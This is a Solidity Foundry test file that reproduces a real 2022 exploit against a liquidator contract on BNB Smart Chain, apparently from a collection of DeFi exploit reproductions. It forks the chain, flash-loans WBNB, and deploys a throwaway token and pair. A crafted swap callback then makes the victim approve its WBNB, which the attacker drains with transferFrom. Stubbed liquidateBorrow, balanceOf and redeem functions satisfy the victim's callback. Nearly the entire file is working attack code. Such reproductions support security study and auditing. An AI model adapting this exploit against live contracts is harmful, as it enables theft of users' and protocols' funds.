src/test/2022-11/Annex_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/AnciliaInc/status/1593690338526273536
9// @TX
10// https://bscscan.com/tx/0x3757d177482171dcfad7066c5e88d6f0f0fe74b28f32e41dd77137cad859c777
11 
12contract ContractTest is Test {
13    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
14    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
15    IUniswapV2Factory Factory = IUniswapV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73);
16    address Token;
17    uint256 WBNBAmount;
18    address Pair;
19    address constant dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
20    address constant Liquidator = 0xe65E970F065643bA80E5822edfF483A1d75263E3;
21 
22    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
23 
24    function setUp() public {
25        cheats.createSelectFork("bsc", 23_165_446);
26    }
27 
28    function testExploit() public {
29        MyERC20 MyToken = new MyERC20();
30        Token = address(MyToken);
31        MyToken.mint(10 * 1e18);
32        DVM(dodo).flashLoan(8 * 1e18, 0, address(this), new bytes(1));
33 
34        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
35    }
36 
37    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
38        IERC20(Token).approve(address(Router), type(uint256).max);
39        WBNB.approve(address(Router), type(uint256).max);
40        Router.addLiquidity(
41            address(Token), address(WBNB), 8 * 1e18, 8 * 1e18, 0, 0, address(this), block.timestamp + 60
42        );
43        Pair = Factory.getPair(Token, address(WBNB));
44        WBNBAmount = WBNB.balanceOf(Liquidator);
45        bytes memory data1 = abi.encode(address(this), address(this), address(this));
46        if (Uni_Pair_V2(Pair).token0() == address(WBNB)) {
47            Uni_Pair_V2(Pair).swap(WBNBAmount, 0, Liquidator, data1);
48        } else {
49            Uni_Pair_V2(Pair).swap(0, WBNBAmount, Liquidator, data1);
50        }
51        Uni_Pair_V2(Pair).approve(address(Router), type(uint256).max);
52        Router.removeLiquidity(
53            address(Token),
54            address(WBNB),
55            Uni_Pair_V2(Pair).balanceOf(address(this)),
56            0,
57            0,
58            address(this),
59            block.timestamp + 60
60        );
61        WBNB.transferFrom(Liquidator, address(this), WBNB.balanceOf(Liquidator));
62        WBNB.transfer(dodo, 8 * 1e18);
63    }
64 
65    function liquidateBorrow(
66        address borrower,
67        uint256 repayAmount,
68        address cTokenCollateral
69    ) external returns (uint256) {
70        return 0;
71    }
72 
73    function balanceOf(
74        address account
75    ) external returns (uint256) {
76        return 0;
77    }
78 
79    function redeem(
80        uint256 redeemTokens
81    ) external returns (uint256) {
82        return 0;
83    }
84}
85 
86contract MyERC20 {
87    uint256 public totalSupply;
88    mapping(address => uint256) public balanceOf;
89    mapping(address => mapping(address => uint256)) public allowance;
90    string public name = "Shit Coin";
91    string public symbol = "Shit";
92    uint8 public decimals = 18;
93 
94    event Transfer(address indexed from, address indexed to, uint256 value);
95    event Approval(address indexed owner, address indexed spender, uint256 value);
96 
97    function transfer(address recipient, uint256 amount) external returns (bool) {
98        balanceOf[msg.sender] -= amount;
99        balanceOf[recipient] += amount;
100        emit Transfer(msg.sender, recipient, amount);
101        return true;
102    }
103 
104    function approve(address spender, uint256 amount) external returns (bool) {
105        allowance[msg.sender][spender] = amount;
106        emit Approval(msg.sender, spender, amount);
107        return true;
108    }
109 
110    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
111        allowance[sender][msg.sender] -= amount;
112        balanceOf[sender] -= amount;
113        balanceOf[recipient] += amount;
114        emit Transfer(sender, recipient, amount);
115        return true;
116    }
117 
118    function mint(
119        uint256 amount
120    ) external {
121        balanceOf[msg.sender] += amount;
122        totalSupply += amount;
123        emit Transfer(address(0), msg.sender, amount);
124    }
125 
126    function burn(
127        uint256 amount
128    ) external {
129        balanceOf[msg.sender] -= amount;
130        totalSupply -= amount;
131        emit Transfer(msg.sender, address(0), amount);
132    }
133}